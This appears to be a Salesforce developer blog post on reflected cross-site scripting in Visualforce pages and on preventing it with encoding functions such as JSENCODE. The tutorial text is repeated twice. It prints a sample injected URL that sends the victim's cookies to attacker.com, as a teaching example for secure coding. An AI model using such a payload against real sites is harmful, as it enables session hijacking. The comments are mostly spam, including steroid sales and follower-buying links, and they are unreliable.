XSS is also known as cross site scripting. XSS allows a attackers to inject his code in client script.This is a web application vulnerabilities which allows a attackers to bypass the sharing rules . By doing this he can expose the sensitive data, session cookies etc. also.
Now coming back to the reflected XSS, it impacts the page while page is getting load. Suppose I have a block of script and I want to execute a script on page load. This is known as Reflected XSS.
Let's have a close look:
Here is a page , in the script block we are fetching an Id Parameter
<apex:page>
Now have a deep look:
Page is called as :
/apex/TestPage?id=idvalue';1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo=';
So when the page will be loaded it will be executed in following manner:
var xssExample = '{!$CurrentPage.Parameters.id}' ;
putting the id value from the request parameter :
var xssExample = 'idvalue';1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo=';
So here you can see that all the cookies will be sent to the attackers.com site.
To prevent from this , salesforce provides some encoding function for the those are available on Visualforce page like :etc.
JSENCODE, HTMLENCODE, JSINHTNLENCODE, URLENCODE etc.
So the code explained above can be updated as :
var xssExample = '{!JSENCODE($CurrentPage.Parameters.id})' ;
So the value fetching from the request parameter will be encoded now.
JSENCODE : To encode the properties in javascript.
HTMLENCODE: To encode the properties in javascript.
JSINHTNLENCODE: If calling a javascript method from HTML component and passing the properties.
URLENCODE: If building a URL on page.
Please feel free to ask the questions/doubts. Suggestions are appreciated.
Now coming back to the reflected XSS, it impacts the page while page is getting load. Suppose I have a block of script and I want to execute a script on page load. This is known as Reflected XSS.
Let's have a close look:
Here is a page , in the script block we are fetching an Id Parameter
<apex:page>
<script>
var xssExample = '{!$CurrentPage.Parameters.id}' ;
</script>
</apex:page>Now have a deep look:
Page is called as :
/apex/TestPage?id=idvalue';1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo=';
So when the page will be loaded it will be executed in following manner:
var xssExample = '{!$CurrentPage.Parameters.id}' ;
putting the id value from the request parameter :
var xssExample = 'idvalue';1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo=';
So here you can see that all the cookies will be sent to the attackers.com site.
To prevent from this , salesforce provides some encoding function for the those are available on Visualforce page like :etc.
JSENCODE, HTMLENCODE, JSINHTNLENCODE, URLENCODE etc.
So the code explained above can be updated as :
var xssExample = '{!JSENCODE($CurrentPage.Parameters.id})' ;
So the value fetching from the request parameter will be encoded now.
JSENCODE : To encode the properties in javascript.
HTMLENCODE: To encode the properties in javascript.
JSINHTNLENCODE: If calling a javascript method from HTML component and passing the properties.
URLENCODE: If building a URL on page.
Please feel free to ask the questions/doubts. Suggestions are appreciated.
Here is the source of information :
ReplyDeletehttp://en.wikipedia.org/wiki/Cross-site_scripting
http://wiki.developerforce.com/index.php/Secure_Coding_Cross_Site_Scripting
Indeed a helpful post for those who publish there app on app exchange.
ReplyDeletehttp://forceguru.blogspot.com/
http://tinyurl.com/forceguru
Hi Bhawani,
ReplyDeleteIf we do encoding at javascript, say({!JSENCODE($CurrentPage.Parameters.id})), & again we need to send it by URL parameter, In that case, we have to get it by DECODDing it?
https://bayanlarsitesi.com/
ReplyDeleteGüneşli
Halkalı
Florya
Akbatı
NGA2
Bursa
ReplyDeleteMersin
izmir
Rize
Antep
4ND
ankara parça eşya taşıma
ReplyDeletetakipçi satın al
antalya rent a car
antalya rent a car
ankara parça eşya taşıma
İ7RGH
maraş evden eve nakliyat
ReplyDeletemaraş evden eve nakliyat
izmir evden eve nakliyat
konya evden eve nakliyat
erzurum evden eve nakliyat
VSXDV
F0553
ReplyDeleteAğrı Lojistik
Kütahya Evden Eve Nakliyat
Kocaeli Evden Eve Nakliyat
Maraş Parça Eşya Taşıma
Bilecik Parça Eşya Taşıma
776B4
ReplyDeleteboldenone
winstrol stanozolol
testosterone propionat for sale
steroids for sale
Giresun Evden Eve Nakliyat
buy turinabol
Karaman Evden Eve Nakliyat
Adıyaman Evden Eve Nakliyat
Referans Kimliği Nedir
5ED57
ReplyDeletekayseri mobil sohbet bedava
çanakkale sohbet
edirne telefonda rastgele sohbet
sivas mobil sohbet
bolu rastgele sohbet
görüntülü sohbet odaları
ardahan en iyi görüntülü sohbet uygulamaları
yozgat rastgele görüntülü sohbet ücretsiz
eskişehir sohbet uygulamaları
72514
ReplyDeleteLovely Coin Hangi Borsada
Binance Referans Kodu
Youtube İzlenme Hilesi
Soundcloud Beğeni Hilesi
Bitcoin Üretme Siteleri
Tiktok Takipçi Hilesi
Kripto Para Oynama
Coin Madenciliği Nasıl Yapılır
Bulut Madenciliği Nedir
TYHYJU
ReplyDeleteمكافحة النمل الابيض
شركة تنظيف بخميس مشيط rp9i7CDChi
ReplyDeleteافضل شركة تسليك مجاري بالاحساء toITBV3Q9S
ReplyDeleteشركة عزل اسطح بالجبيل ESDnAxcahx
ReplyDelete